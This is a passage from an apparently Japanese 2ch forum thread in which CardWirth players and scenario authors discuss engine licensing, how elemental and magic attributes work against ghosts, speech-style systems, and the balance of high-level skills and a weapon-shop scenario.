待ち続けてもう二年になるんだがヽ(`Д´)ノイイカゲンニツカワセテ

815 :名無しさん@お腹いっぱい。:2005/07/01(金) 20:06:15 ID:sa+Z+WYs
いや、今のも使っていいはずだぞ。
13魔女では確か使われていたし。

816 :814:2005/07/01(金) 20:17:01 ID:t5Yn94tf
えっそうなん?サイトには
・なお、現バージョンの動作保証は行っておりません。自己責任でご使用ください。
また、現在はデバッグ用バージョンであるため、
このアーカイブ内のファイルを利用したシナリオを公開することは禁止させて頂きます
(検証用シナリオを公開することは禁止いたしません)。

って書いてあったから、使っちゃだめなのかとずっと思ってた……

817 :名無しさん@お腹いっぱい。:2005/07/01(金) 20:25:04 ID:sa+Z+WYs
確か新エンジン配布と同時にとりあえず解禁になったんじゃなかったっけ?
エディタと一緒にダウンロードできるし。
まだ開発は続いているようだけど、シナリオに組み込んでもいいはず。

818 :駄レスの魔術師:2005/07/01(金) 20:33:46 ID:tB6XMo2N
ちんちんかゆい

819 :814:2005/07/01(金) 20:46:24 ID:t5Yn94tf
そうなのか、thx!心置きなく使ってがんばってみるよー。

820 :名無しさん@お腹いっぱい。:2005/07/01(金) 21:49:26 ID:TsgBGIS5
>>815
13魔女のどこで使われてた?
全然わからんかったんだが。

821 :名無しさん@お腹いっぱい。:2005/07/01(金) 21:50:46 ID:sa+Z+WYs
とりあえず、覚えているのは最後の焚書の場面。

822 :名無しさん@お腹いっぱい。:2005/07/01(金) 21:56:08 ID:eVUPmf98
>>816
その文章だと、たとえまだ禁止が取れて無くても
検証用だって言ってしまえば終わりだぜ

823 :名無しさん@お腹いっぱい。:2005/07/01(金) 22:12:42 ID:2vDVUEuj
>>814
美女が野獣でも使われてたよ。

824 :790:2005/07/01(金) 22:44:48 ID:XVp5qDgg
そう言えば杖技なんてものもあったな…
でもトレアドールのアレ、
やたらと使用時の能力値ペナルティつけられてるのが多くて
辟易した記憶があるなぁ…

グレンダムもRに焼いた中捜せばあるはずだと思うから捜してみる。
thx。

…あと、踊る剣@双頭の遺跡、エディタで見てみたけど
物理的魔法だったよアレ。


825 :名無しさん@お腹いっぱい。:2005/07/02(土) 00:41:08 ID:saPx9+Gb
てか、「魔法か物理のどっちがが効果が無ければ無効化される」ってのは
実際どんなのか全然想像がつかんぞ

826 :名無しさん@お腹いっぱい。:2005/07/02(土) 00:44:38 ID:o/P9nIPs
>>825
実体のない相手にはすり抜けるし、魔法的なものなので魔法無効化だと効果が消えうせる、とか。

827 :名無しさん@お腹いっぱい。:2005/07/02(土) 00:47:02 ID:dwVIRhlQ
>>825
魔法効果と物理効果が炸裂すれば効果を発揮する。
どちらかが欠ければ効果を発揮しない。

・・と脳内妄想

828 :名無しさん@お腹いっぱい。:2005/07/02(土) 00:48:43 ID:t6b+UegY
つうか、普通の魔法系スキルが軒並み非実体に効き過ぎ。

829 :名無しさん@お腹いっぱい。:2005/07/02(土) 01:22:47 ID:JwTc3KIU
>>828
魔法の矢ならともかく氷柱の槍とか火の玉なんか明らかに幽霊には効かなそうだな

830 :名無しさん@お腹いっぱい。:2005/07/02(土) 01:28:38 ID:t6b+UegY
>>829
一応炎と冷気は無効化するのでその辺は効かないんだけど、電撃は効くから余計に変に感じる。

831 :名無しさん@お腹いっぱい。:2005/07/02(土) 01:36:21 ID:XdvMRgsa
>>830
全てはプラズマです。

832 :名無しさん@お腹いっぱい。:2005/07/02(土) 02:16:54 ID:saPx9+Gb
幽霊に効く炎は、高温の魔力塊だと脳内補完している

833 :名無しさん@お腹いっぱい。:2005/07/02(土) 02:17:20 ID:qXY87iXi
むしろ、火の玉が物理的魔法属性でなかったせいで、
物理無効のキャストを作ったときに忘れずに炎・冷気無効にする
手間が増えている分だけ、あの辺の設定は効率がよろしくない。
以前も話題になったがね。

834 :名無しさん@お腹いっぱい。:2005/07/02(土) 02:23:36 ID:Pg6om4M+
>>833
というか、実体を持たないゴーストが、炎と冷気無効になっているのが悪い。
おかげで聖なる炎は幽霊に効かない。

物理的な炎はどうせ無効化するんだから、魔法的な火なら効いても良さそうなもんなんだが。

835 :名無しさん@お腹いっぱい。:2005/07/02(土) 02:46:27 ID:qXY87iXi
聖なる炎って、神性属性のダメージコンテントを付加しちゃダメなの?

836 :名無しさん@お腹いっぱい。:2005/07/02(土) 03:05:49 ID:Pg6om4M+
>>835
炎属性と神聖属性を合わせてつかうと、スケルトンとゴーストで効果が倍ぐらい違ってきそうだし、

まあ正直、元人間のゴーストが、魔法的な炎まで効かないのが納得いかなくてなー


この辺りを言い出すと眠りの雲は(ガスたから)肉体属性の物理的魔法属性なんじゃないかとか、
呪縛と沈黙が同じ対象単体で同じ3レベルって言うのは、沈黙立場なさ過ぎるだろう、とか、いろいろあるけど。

837 :名無しさん@お腹いっぱい。:2005/07/02(土) 03:20:09 ID:abpj5326
これは今考えた、俺の勝手な解釈。

魔法属性=実体のないもの。
例えば炎だったり、他にも風や霧、雷など、実体のないものは全て魔法属性。
ゆえに物理的な炎は存在しないし、たとえたき火の炎であろうとも魔法属性。

それともうひとつ。
単にAsk製ゴーストはいかなる種類であろうと炎は無効化するという設定。

こう解釈するとAskの設定には誤りはないと思う。

838 :名無しさん@お腹いっぱい。:2005/07/02(土) 03:33:02 ID:Gbl6YBSy
>>837
俺もそう思ってた

839 :名無しさん@お腹いっぱい。:2005/07/02(土) 04:34:05 ID:Pg6om4M+
>>837
じゃああれか。神前裁判かなんかで「焼けた石炭の上を歩いて、無傷なら無罪」とかいうのは
「魔法無効化状態になることができれば神の加護があると見なす」ってことか?

840 :名無しさん@お腹いっぱい。:2005/07/02(土) 05:06:49 ID:Gbl6YBSy
そんな妙な理屈持ち出さなくても・・・
というか熱した石は物理攻撃だろう

841 :名無しさん@お腹いっぱい。:2005/07/02(土) 06:01:10 ID:abpj5326
>>839
「魔法属性=実体のないもの」という主張をあくまで貫き通そうとするならば、
「石炭=実態のあるもの=物理属性」と、「石炭の熱=実体のないもの=魔法属性」の両方の解釈ができる。

もちろん前者の解釈だと魔法無効化は意味を持たないし、逆に後者だと魔法無効化は有効となり、効果が違ってくる。

つまり少しでもあやふやな部分がある場合は、そこを突いていくらでも自分の都合よく解釈できると思う。
(ちなみに>>387もまたAskの設定から半ば強引に導き出した解釈)

842 :名無しさん@お腹いっぱい。:2005/07/02(土) 06:03:18 ID:abpj5326
アンカー間違ったorz

843 :名無しさん@お腹いっぱい。:2005/07/02(土) 06:27:41 ID:t6b+UegY
固体じゃない=実体を持たないって解釈もなんか凄いな。

844 :名無しさん@お腹いっぱい。:2005/07/02(土) 07:16:50 ID:ef6LcNKK
リューンスキルを叩きたいならカーディラム4番街に逝け

845 :名無しさん@お腹いっぱい。:2005/07/02(土) 12:32:51 ID:7vFf8B+T
炎って物質の温度が高いだけだろ

846 :名無しさん@お腹いっぱい。:2005/07/02(土) 14:41:22 ID:0H6wiayq
ちょっと質問なんだが、ASKのキャスト画像をリファインした素材を
配布してた所ってどこか知らないか?
メインのPC画像は全部リファインしてたと思う。
この前から探してるけど見つからないんだよ。

847 :名無しさん@お腹いっぱい。:2005/07/02(土) 14:45:11 ID:1vuSLe9c
>>846
入沢氏の所か?
それ以外にもあったような気はするが。

848 :名無しさん@お腹いっぱい。:2005/07/02(土) 14:51:01 ID:0H6wiayq
>>847
サンクス。そうだったよ。
作者名忘れてて、画像だけがある状態だったから気になって気になって。
お陰で今夜もぐっすり不眠症だよ。

849 :名無しさん@お腹いっぱい。:2005/07/02(土) 15:07:06 ID:mroIwb/m
>炎属性と神聖属性を合わせてつかうと、スケルトンとゴーストで効果が倍ぐらい違ってきそうだし、
ASK亡霊はその辺りを考えて低HPがデフォなのでご安心を
そもそも熱さ寒さなんぞにかまけてられるような暇な幽霊は稀だし
裁きに纏わる"炎"という媒体は単なる人間から見た象徴に過ぎない

>熱した石炭
只の熱した石なら物理属性
魔法の熱を付加した石なら魔法的物理属性(攻撃はせんが)
場に巡らせた炎と熱の力場が本命なら魔法属性

同じ手立てでも状況により変化するから
状況によっては魔法無効化手段ですり抜けられるだろう
一般的な用例としてどうかはシナ作者個人で決めれば良い領分でないかい

850 :名無しさん@お腹いっぱい。:2005/07/02(土) 15:15:28 ID:qXY87iXi
もともと、物理属性無効の連中は HP 低めにしてあるよな >Ask モンスター

以前、Out of Control で妙に HP の高いウィスプだのが出てきて
魔法属性の攻撃が尽きた時に気がついた。

851 :名無しさん@お腹いっぱい。:2005/07/02(土) 15:43:20 ID:6O8HiyxY
テンプレに入れたい位、よく出る質問だな。>入沢氏のAskリファイン画像

いや、俺も使ってますが。

852 :名無しさん@お腹いっぱい。:2005/07/02(土) 15:56:23 ID:1vuSLe9c
>>848
その時間でシナリオ作りゃ。

ところでここ一年くらい溜め込んだシナリオプレイ中なんだが、
何か今FAT口調が流行ってるんだね。

853 :駄レスの魔術師:2005/07/02(土) 16:10:51 ID:08R76MKX
ちんちんもれた

854 :名無しさん@お腹いっぱい。:2005/07/02(土) 16:17:11 ID:eHgoFtZG
>>852
爺言葉の子供とかオカマ言葉の男とかを再現できるからな
俺としては喜ばしい事だ

855 :名無しさん@お腹いっぱい。:2005/07/02(土) 18:21:00 ID:J3Jb5Zfy
>>852
その存在にシナリオが六十パーセントほど完成してから気付いた。

直すのめんどくさいよ……

856 :名無しさん@お腹いっぱい。:2005/07/02(土) 18:43:32 ID:Tk9czTgb
>FAT
シンプルで使い易いからな

857 :名無しさん@お腹いっぱい。:2005/07/02(土) 23:48:00 ID:6bxqK2Ps
ごめん





FATって、何?

858 :名無しさん@お腹いっぱい。:2005/07/02(土) 23:51:18 ID:RAiMLpr5
>>857
ヒラ江氏提唱の口調システム。

859 :名無しさん@お腹いっぱい。:2005/07/03(日) 00:26:54 ID:+ykaW4vH
おれは「シナリオを作るときにはFATシステムに対応しよう」と思っていた。
作ってみたら、冒険者が一言も喋らないシナリオになっていた。

860 :名無しさん@お腹いっぱい。:2005/07/03(日) 00:34:30 ID:rFMVNJcb
おれの場合、作ってみたら、
一般人に攻撃を仕掛けて兵士に追われるイベントとか、
麻痺や対象消去をボスキャラに仕掛けて弾かれるイベントとか、
ボスキャラとのバトルで敗北時に憎まれ口を叩かれるイベントとか、
そういう時には嬉々として喋るくせに、
普通に進めたら全然喋らないシナリオになっていた。

861 :名無しさん@お腹いっぱい。:2005/07/03(日) 01:39:08 ID:TLp00jld
>>857
参照:ttp://www.geocities.jp/tjsjunta/cw2.html

862 :名無しさん@お腹いっぱい。:2005/07/03(日) 02:11:12 ID:umQ9twNN
ガードシリーズのリメイクが出てきていることに気づいた。まだ1作目だけど。

863 :名無しさん@お腹いっぱい。:2005/07/03(日) 08:50:29 ID:vWiKBo1P
デヴ口調システム

864 :名無しさん@お腹いっぱい。:2005/07/03(日) 12:09:59 ID:kzLXw4ly
_上品
_子供
で口調分けしてくれるのはいいが
両方持ってた場合は…

865 :名無しさん@お腹いっぱい。:2005/07/03(日) 12:21:41 ID:a/XLtaPw
両方持っていた場合は、上にある口調がまず選択される。

866 :名無しさん@お腹いっぱい。:2005/07/03(日) 13:06:22 ID:TNureyrF
上品優先の方が殆どのシナで言葉遣いが統一されて有難い
たまに子供優先のシナをやると突然無邪気になってしまい少し違和感

867 :名無しさん@お腹いっぱい。:2005/07/03(日) 13:22:26 ID:U1pgM4bK
極々稀に上品が男や女より下になっているシナリオがある

868 :名無しさん@お腹いっぱい。:2005/07/03(日) 14:08:52 ID:GSnQgWTV
>>867
それは単なるバグだろ。

869 :名無しさん@お腹いっぱい。:2005/07/03(日) 15:20:02 ID:IdDImYMs
>>667
ごめん。
フリオの魔法道具屋ってどこにある?

870 :名無しさん@お腹いっぱい。:2005/07/03(日) 18:05:11 ID:2HRAVQgZ
魔剣工房やってみたがなかなか良ツナじゃないか

871 :名無しさん@お腹いっぱい。:2005/07/03(日) 19:05:42 ID:h2RDbQlB
店部分だけ見たらいいんだけどね

簡単に回数制限外せるのはちょっと安直だった気がする
せめて制限3倍とかにしといたほうが、
打ち直しの意味も出てきて良かったのに

あと、大層な名前の武器ばかりなのは逆に萎える
鉱石のお礼にストームブリンガーて

872 :名無しさん@お腹いっぱい。:2005/07/03(日) 19:12:27 ID:2HRAVQgZ
確かにな。俺は石を渡さないで制限解除はしないつもり

873 :名無しさん@お腹いっぱい。:2005/07/03(日) 19:27:30 ID:jhlE43h8
でも制限解除しないとグラが合成画像にならない。

確かに神話の武器だからちと使いづらいな。

874 :名無しさん@お腹いっぱい。:2005/07/03(日) 19:33:50 ID:C5lux6hQ
一応オリジナルの複製って設定みたいだけどな。
あと威力もちょっと強すぎるような気がする。

875 :名無しさん@お腹いっぱい。:2005/07/03(日) 19:58:28 ID:z7msEVbn
まぁ、そこの手の厨がかったニーズに対しては
これで良いんで無いかねぇ。
なんかスゲェ武器欲しぃー! ってのは
ありがちな話だと思うし。

オレは使わないけど。

876 :名無しさん@お腹いっぱい。:2005/07/03(日) 19:59:24 ID:jhlE43h8
一部を除いて、バランスは適度なラインだと思うけど。

877 :名無しさん@お腹いっぱい。:2005/07/03(日) 20:18:19 ID:TNureyrF
強すぎか?手札枠が一つ埋まることを考えれば多少強くても構わないと思うけどな。
ぶっちゃけ持ってるだけで修正がつく防具系や召喚獣の方が有効だし。

878 :名無しさん@お腹いっぱい。:2005/07/03(日) 20:34:23 ID:L/oxluN+
あれは武器が強すぎなんで使ってないな。
酒の対応は凄かったが。
最近出た、夕日の鉄撃が安価の武器揃えていて良い感じだった。


879 :864:2005/07/03(日) 20:48:32 ID:kzLXw4ly
いや何、上品な子供の口調になってくれればいいのになと思ってな
激しく面倒だが

880 :名無しさん@お腹いっぱい。:2005/07/03(日) 20:55:17 ID:kzLXw4ly
連で悪いが

>>877
一部だけ強すぎるな
手札枠を一つ埋めるデメリットとか以前に
手札枠に常にスキルカードが置いてあるようなものがある

881 :名無しさん@お腹いっぱい。:2005/07/03(日) 21:04:05 ID:HlYep5mt
伝説とか抜きの「トゥーハンドソード」とか「バトルアックス」とかの
無銘のものが好きな俺は技も仰々しい名前のモノを使う気になれないんだよなぁ

リューン技でも高レベル技になるとちょっと仰々しいなぁと思ってしまうので
高レベル技確保がうまくまとまらないので悩んでたりする
教会の技はほぼ全て仰々しいと感じてしまうし

薙ぎ倒しとか魔法の矢とか、そのくらい単純で飾り気のない
高レベル技・僧侶技って無いものかねぇ。
せいぜい「炎の玉」くらいかなぁ。

882 :名無しさん@お腹いっぱい。:2005/07/03(日) 21:16:12 ID:TNureyrF
回数制限が付いたままならスキル並みの威力でもまあ許せるんだけどな。

>>881
信者獲得にはハッタリも有効な手段だからその辺は仕方が無いw

883 :名無しさん@お腹いっぱい。:2005/07/03(日) 21:19:35 ID:Yb3Q31nQ
>>881
なに高レベルになってまで
肝っ玉の小さな事抜かしてるんだ。
化け物だと開き直ってハッスルハッスル!

という事だろう、多分。

884 :名無しさん@お腹いっぱい。:2005/07/03(日) 21:21:56 ID:gZBv5iHZ
実は低レベル技能でもレベル比のアレとかで
高レベルでも十分使えるので、あまりレベルに合わせた
技能を使おうと気にする必要は無い



かもしれない。

885 :名無しさん@お腹いっぱい。:2005/07/03(日) 21:24:24 ID:jNS09sSN
魔法の矢*5とかな

886 :名無しさん@お腹いっぱい。:2005/07/03(日) 21:29:55 ID:gZBv5iHZ
ぶっちゃけリューンの戦闘用魔法技能で一番使えるのって、
魔法の矢だったりするしね。

887 :名無しさん@お腹いっぱい。:2005/07/03(日) 21:31:47 ID:TNureyrF
正直、あれは強すぎるくらい。

888 :名無しさん@お腹いっぱい。:2005/07/03(日) 21:34:07 ID:P5UCn3UM
888の獣

889 :名無しさん@お腹いっぱい。:2005/07/03(日) 21:36:07 ID:mkXEfzD8
まあ通常攻撃が役に立たない魔術師を前提にしてるんだろうから>魔法の矢


890 :名無しさん@お腹いっぱい。:2005/07/03(日) 21:37:22 ID:TiLsGv8x
知力はスキルがないと戦闘ではリスクにしかならないしね。

891 :名無しさん@お腹いっぱい。:2005/07/03(日) 21:39:31 ID:gZBv5iHZ
まあ、なんつーかこの手のゲームの宿命みたいなもんだよな。
戦闘で強くて探索とかでも強い、みたいなのはありえないっていうのは。
カードワースの場合、特殊型という例外はあるけど。

892 :名無しさん@お腹いっぱい。:2005/07/03(日) 21:44:00 ID:kzLXw4ly
魔法使いはHP低いしな

893 :名無しさん@お腹いっぱい。:2005/07/03(日) 21:48:07 ID:TNureyrF
CWの場合、魔法使いだから低くなるとは限らないけどな。
戦士系でも普通に低くなるし。

894 :名無しさん@お腹いっぱい。:2005/07/03(日) 22:44:54 ID:d6U1zGUc
双狼牙の適性が真っ白のウチのエース君が
生命力2と知った時は萎えた

895 :名無しさん@お腹いっぱい。:2005/07/03(日) 22:47:36 ID:GcicIael
>>894
そいつきっと過激だろ。

896 :名無しさん@お腹いっぱい。:2005/07/03(日) 22:48:45 ID:TiLsGv8x
>>894
病弱だが無茶苦茶強い戦士。
準主人公クラス脇役の定番じゃないかw

897 :名無しさん@お腹いっぱい。:2005/07/03(日) 22:50:27 ID:HlYep5mt
いわゆる「切り込み隊長」とか「鉄砲玉」だな
うちの盗賊は腕力と器用さだけ高くてかなり好戦的

まぁこそ泥よりも強盗的に作ったからそうなったんだろうけど

898 :駄レスの魔術師:2005/07/03(日) 23:03:00 ID:UbWnoPWE
ちんちんかゆい

899 :名無しさん@お腹いっぱい。:2005/07/03(日) 23:06:58 ID:TNureyrF
なんか論点ずれまくりだなw

900 :名無しさん@お腹いっぱい。:2005/07/03(日) 23:31:09 ID:C5lux6hQ
レベル9とか10の技能って見るたびに思うんだが、使ってる人いるの?
厨房は好んで使ってそうだけど。
いくら手札配布しても一向にカードがまわってこないし、使いにくいことこの上ない。

901 :名無しさん@お腹いっぱい。:2005/07/03(日) 23:33:52 ID:TNureyrF
レベル7以上は組み込んだ事が無いな。

902 :名無しさん@お腹いっぱい。:2005/07/03(日) 23:33:58 ID:eP+fwmjT
魔剣工房で製品販売所の標準の品の一番端2枚がいつまでたっても
表示されないんだが、これってどうやったら買えるようになんの?

903 :名無しさん@お腹いっぱい。:2005/07/03(日) 23:34:49 ID:AlqBnAbb
>>900
レベル高けりゃそれなりに回る。
というか趣向の違う奴を一概に厨房とかいうのはどうかと思うぞ。

904 :名無しさん@お腹いっぱい。:2005/07/03(日) 23:39:45 ID:+DpryvZo
>>900
おれは使用技能は7がマックス。
メインとなるのは1〜5レベル程度かな。
エンチャントや召喚系ならば多少レベルが高くても(キャンプで使えばいいだけだから)使えるけど、
そうでもなければ「手札に来なければ使えない」と思っちゃう。

ほとんどのシナリオは対象レベルが、1〜7の範囲に入っているから、8レベル以上は使いにくいかな。
実際、7レベルでも双狼牙を装備させるよりは居合い切りを装備させた方が良く回る……って考えちゃうタイプだから。


905 :名無しさん@お腹いっぱい。:2005/07/03(日) 23:42:06 ID:sAN9r3Yq
高レベル技能って大抵癖があって使いにくい。
汎用性の高い低レベル技能萌え。

オーバーキルできてもシステム的に意味無いから、基本的にある程度以上の高レベル技能の使い道が無いよね。
雰囲気が気に入った技能はレベル合わなくても無理やり持たせてみたりするけど。

906 :名無しさん@お腹いっぱい。:2005/07/03(日) 23:43:48 ID:kfmYsKae
レベル9やら10なら人の限界クラスだから別にいいが、
レベル5あたりでも派手派手キラキラな合成画像使ってるスキルはちょっと使う気になれないな。
F=ベルのヤツとか。

907 :名無しさん@お腹いっぱい。:2005/07/03(日) 23:44:45 ID:TNureyrF
9とか10レベルスキルって単純にどのくらいのレベル比の威力が妥当なんだろ。

908 :名無しさん@お腹いっぱい。:2005/07/03(日) 23:48:42 ID:kfmYsKae
>>907
SKICHEでホントに単純に(属性とか効果範囲とかなんも手を加えず)計算したらレベル比10で9.7だった。

909 :名無しさん@お腹いっぱい。:2005/07/03(日) 23:48:49 ID:sAN9r3Yq
>>907
レベル比だと難しいな。
高レベルでレベル比も高くすると倍々でバランス崩壊しそう。

910 :名無しさん@お腹いっぱい。:2005/07/03(日) 23:50:20 ID:C5lux6hQ
大体レベル7当たりまでが妥当か。
大変参考になった。ありがとう。

911 :名無しさん@お腹いっぱい。:2005/07/03(日) 23:51:19 ID:olm3W++J
スキルチェッカーだと
物理・敵全体命中補正なしLV比5で10程度になった。
これなら烈梟のが使いやすいと思う。

912 :名無しさん@お腹いっぱい。:2005/07/03(日) 23:53:34 ID:AlqBnAbb
レベル7の双狼牙がレベル比5、直接値10で必中なのを忘れずにな。
個人的にはレベル比9くらいでもいいと思う。

913 :名無しさん@お腹いっぱい。:2005/07/03(日) 23:54:38 ID:olm3W++J
>>912
スキルチェッカーだと12になるw

914 :名無しさん@お腹いっぱい。:2005/07/03(日) 23:54:50 ID:TNureyrF
リューン技能はスキチェにかけると凄いのが多いから。
眠りの雲とか。

915 :名無しさん@お腹いっぱい。:2005/07/03(日) 23:55:55 ID:GcicIael
>>914
あれLv10相当の技能って出るよな。

すきちぇが当てにならない、と俺は思ってる。
双方全体不可能だし。

916 :名無しさん@お腹いっぱい。:2005/07/03(日) 23:56:04 ID:kfmYsKae
眠りの雲テラツヨスwwwwwwwwwwwwwwwwwwwwww
こんななるんだ。知らなかった。

917 :名無しさん@お腹いっぱい。:2005/07/03(日) 23:56:08 ID:TNureyrF
でも、昔はやったリューン準拠で考えるとスキチェどおりの威力じゃやっぱり微妙に感じるな。

918 :名無しさん@お腹いっぱい。:2005/07/04(月) 00:00:38 ID:rPK/k1WY
>>917
まあある程度バランスの指針にはなるかな…。
公開した店シナはスキチェとリューン準拠の曖昧な基準でバランス取ったよ。
強すぎたり弱すぎなければ叩かれる事はないしさ。

919 :名無しさん@お腹いっぱい。:2005/07/04(月) 00:02:55 ID:TNureyrF
>>918
コツはいるだろうけどそれが妥当だな。

920 :名無しさん@お腹いっぱい。:2005/07/04(月) 00:06:06 ID:00E5kqg6
スキチェ置いてるサイトplz

921 :名無しさん@お腹いっぱい。:2005/07/04(月) 00:08:15 ID:cDKYPk2/
適正技能レベル判定計算式で検索

922 :名無しさん@お腹いっぱい。:2005/07/04(月) 00:09:10 ID:jdQaoI1i
一つ思ったんだが、味方への回復で「最大値処理」って危険なのか?
攻撃にしたら極悪スキルなのは当然だが。
(コンシューマの例持ち出すのは自分でもどうかと思うが)「癒身の法」がベホイミとして、ベホマ程度のような気がするんだが。
単体対象ならスキチェで出るほどの凶悪スキルじゃないような気がする。
最大値処理の意味誤解してたらゴメン。

923 :名無しさん@お腹いっぱい。:2005/07/04(月) 00:12:13 ID:R3kzydqt
>>922
単体回復ならそれほど凶悪でもないと思う。


924 :名無しさん@お腹いっぱい。:2005/07/04(月) 00:12:23 ID:BJb51yj1
>>922
ヒント:Lv10で生命力6なら80前後。

925 :名無しさん@お腹いっぱい。:2005/07/04(月) 00:12:34 ID:3gDg3Xt5
というか、すきちぇとか所詮一ユーザーが作ったツールにすぎないわけだし、
あんまり真に受けるのもどうかと思うぞ……。

926 :名無しさん@お腹いっぱい。:2005/07/04(月) 00:14:11 ID:GgHgHAPD
大して危険ではないと思う。
癒身の法で最大体力の5割以上、場合によっては7割回復するときもあるし。

中〜高レベル回復魔法としてはアリなんじゃない?

927 :名無しさん@お腹いっぱい。:2005/07/04(月) 00:16:43 ID:jdQaoI1i
レスサンクス。参考になった。

なんか「最大値処理はタブー」って意識があったもんで。

928 :名無しさん@お腹いっぱい。:2005/07/04(月) 00:17:00 ID:apBjDU79
レベル12技能なら必殺技〜♪とかいいながら作った事がある
威力はレベル比10だが、たまにしか回ってこない事を差し引けばむしろ弱いような気がする

929 :名無しさん@お腹いっぱい。:2005/07/04(月) 00:18:34 ID:cDKYPk2/
>>922
ベホマっぽく仲間単体への最大値処理回復(肉体)ついでに魔法属性で
沈黙時に使えないようにしたら3.2で収まったんだが、俺のやり方が違ったか?

930 :名無しさん@お腹いっぱい。:2005/07/04(月) 00:21:07 ID:rZsTiTdo
>>913
あれ?
双狼牙ってそんなにレベル高くなる?
<属性>
敵単体、沈黙時使用可、魔法or物理、回避、+5
で、
<生命力>
基本ダメージ(Lv比)が5pointで
基本ダメージ(直接)が10point、でいいんだよね?

5.9って出たんだけど…なんかやり方間違ってるのかコレ?


931 :名無しさん@お腹いっぱい。:2005/07/04(月) 00:22:23 ID:jdQaoI1i
高レベル技能は文字通り「切り札」として扱えばいいと思う。
「居合切り」とかの低レベル技能の方が汎用性はあるし、純粋に戦闘での強さを考えればそっちのが強いかもしれないけど、
高レベル技能が回ってきたときの「切り札キタ━━━━(゜∀゜)━━━━!!」っていう感覚に燃える。
ましてそれがラスボス戦だったり、劣勢だったりしたときなんか最高。

932 :名無しさん@お腹いっぱい。:2005/07/04(月) 00:23:30 ID:jdQaoI1i
>>329
絶対成功つけたかつけてないか、だと思われ

933 :名無しさん@お腹いっぱい。:2005/07/04(月) 00:26:13 ID:cDKYPk2/
最近ちょっと人気の光の精をスキチェにかけたら-6.7って出たw

>>932
絶対成功で10.7だからちょっと高めだけどやっぱりそこまで異常な数値じゃないと思う。

934 :名無しさん@お腹いっぱい。:2005/07/04(月) 00:26:21 ID:R3kzydqt
あら?
俺も5.9ってでた??

935 :名無しさん@お腹いっぱい。:2005/07/04(月) 00:30:58 ID:cDKYPk2/
>>931
ドラゴンが敵の時に限って竜殺しが全然手札にこないうちの勇将型を思い出した。

936 :名無しさん@お腹いっぱい。:2005/07/04(月) 00:48:45 ID:x9gvAjtL
>>931
ってか単純に効率と強さのみを求めると、
「バランスの取れた高レベル技能」なんてのは要らないし。
要は雰囲気の問題よ。

937 :名無しさん@お腹いっぱい。:2005/07/04(月) 02:10:15 ID:cPSt47bP
沈黙と恐慌の冷遇っぷりには哀れさすら憶える。
弱すぎ。モーションとるな、と言いたい。

《眠りの雲》が全ての元凶か……

938 :名無しさん@お腹いっぱい。:2005/07/04(月) 02:22:40 ID:HVZHnzUB
恐慌って回避と防御しか配られなくなるんじゃなかったっけ?

939 :名無しさん@お腹いっぱい。:2005/07/04(月) 02:33:35 ID:3gDg3Xt5
どっちもそこそこ使える希ガス

940 :名無しさん@お腹いっぱい。:2005/07/04(月) 02:39:11 ID:wFENMiT9
恐慌or混乱+カード消去
の組み合わせはかなりえげつないよ。

941 :名無しさん@お腹いっぱい。:2005/07/04(月) 02:52:28 ID:mSTpaIBr
眠りは殴ったら起きるからねえ
麻痺、呪縛と合わせると極悪だけど

混乱状態は確かにえげつない
混乱してたらほとんど抵抗できないし、
長期になると解けない眠りとほとんど変わらない
馬鹿には効かないけどね…

942 :名無しさん@お腹いっぱい。:2005/07/04(月) 02:56:22 ID:mSTpaIBr
良く考えたら、眠りの雲も封言の法も成功率同じか…
この魔法ってイベントで使う以上の意味あるのかな

943 :名無しさん@お腹いっぱい。:2005/07/04(月) 03:04:49 ID:wFENMiT9
>>942
眠りの雲は精神属性なので「心を持たない」対象には効果が無いが、
封言の法は全属性なので、アンデッド等に対しても有効。

また、相手が魔法を発動させようとしている時に沈黙させることができれば、
相手の行動を1ターン無駄にできるし、
相手の手札に大量にスキルが来ている(低レベルの魔法カードを持っている)時などは
行動を制限させることができる。

でも全然強そうに感じないのは何でだろう。

944 :名無しさん@お腹いっぱい。:2005/07/04(月) 03:13:50 ID:uqTGoAOn
>>937
それはムーンロアと愉快な仲間達の晩御飯にされた
うちの宿の新米冒険者達に対するあてつけかね?

945 :名無しさん@お腹いっぱい。:2005/07/04(月) 03:30:20 ID:LzHZSqx7
>>943
やっぱり沈黙≠全てのスキルを封じることができる って所だろうな

946 :名無しさん@お腹いっぱい。:2005/07/04(月) 05:35:53 ID:g5crdGBq
呪縛と同レベルで、成功率、効果範囲が同じ。

呪縛は戦士にも魔術師にも効くし、回避できなくさせるが、
沈黙は魔術師にしか効果がない上。回避はしっかりやられる。


せめて効果が敵全体ならば……

947 :名無しさん@お腹いっぱい。:2005/07/04(月) 06:09:41 ID:Yjtj99PW
>>946
いや、蜘蛛の糸は物理的魔法属性なので、実体を持たない敵には無効だが、
封言の法は魔法属性なので、
泣女の鳴咽を連発してくるバンシーや、
魔法カードを持たせたレイスやゴーストには有効……かも知れない。

その用途に限定するのなら、亡者退散の方が余程有効だけどな。

948 :名無しさん@お腹いっぱい。:2005/07/04(月) 07:30:39 ID:QdlNAGN7
恐慌は辛いぞ
昔、墓守の苦悩だか何だかでラスボスに恐慌技使われて延々と戦闘が続いた記憶がある

949 :名無しさん@お腹いっぱい。:2005/07/04(月) 07:46:05 ID:AsZwYgkd
沈黙に非常に弱い敵とか。


一人しか知らんが。

950 :名無しさん@お腹いっぱい。:2005/07/04(月) 09:46:51 ID:UOMm8vET
誰でも使えるから沈黙よりは麻痺選んじゃうよな。
(T)RPGなら習得レベルが違うか系統が違うかでどっちも利用価値があるようにしてあるんだろうが。

951 :名無しさん@お腹いっぱい。:2005/07/04(月) 10:22:45 ID:A/6l57sD
沈黙系はたいてい範囲呪文になってね?
まぁ、この手の状態変化の呪文は、大抵
どうでもいい奴には効くけど、本当に効いて欲しい奴には
まるで効果が無かったりするのがお約束だな。

TRPGなら沈黙系は、場の音を消したり、対象の周囲の音を消したり
する呪文なので、寝ない相手を静かに倒したり
自分たちにかけて音を消して潜入したりするな。

952 :名無しさん@お腹いっぱい。:2005/07/04(月) 10:28:31 ID:j7nrNHwI
つーかおまいら単純計算でしか物事判断できない
すきちぇの数値にとらわれすぎ。
TRPGでのレベルや威力参考に汁とまでは言わないが
もうすこし人間的にバランス考えながら判断汁。

953 :名無しさん@お腹いっぱい。:2005/07/04(月) 11:39:13 ID:qib/bQrS
でも実際問題、沈黙キーコードに上手く対応させてくれてるツナが少ないのも事実。
……何時ぞやの「盗賊の目」騒動を思い出した。

954 :名無しさん@お腹いっぱい。:2005/07/04(月) 12:30:25 ID:2LxtoLfB
>>952
人間的に見ても、眠りの雲強すぎ

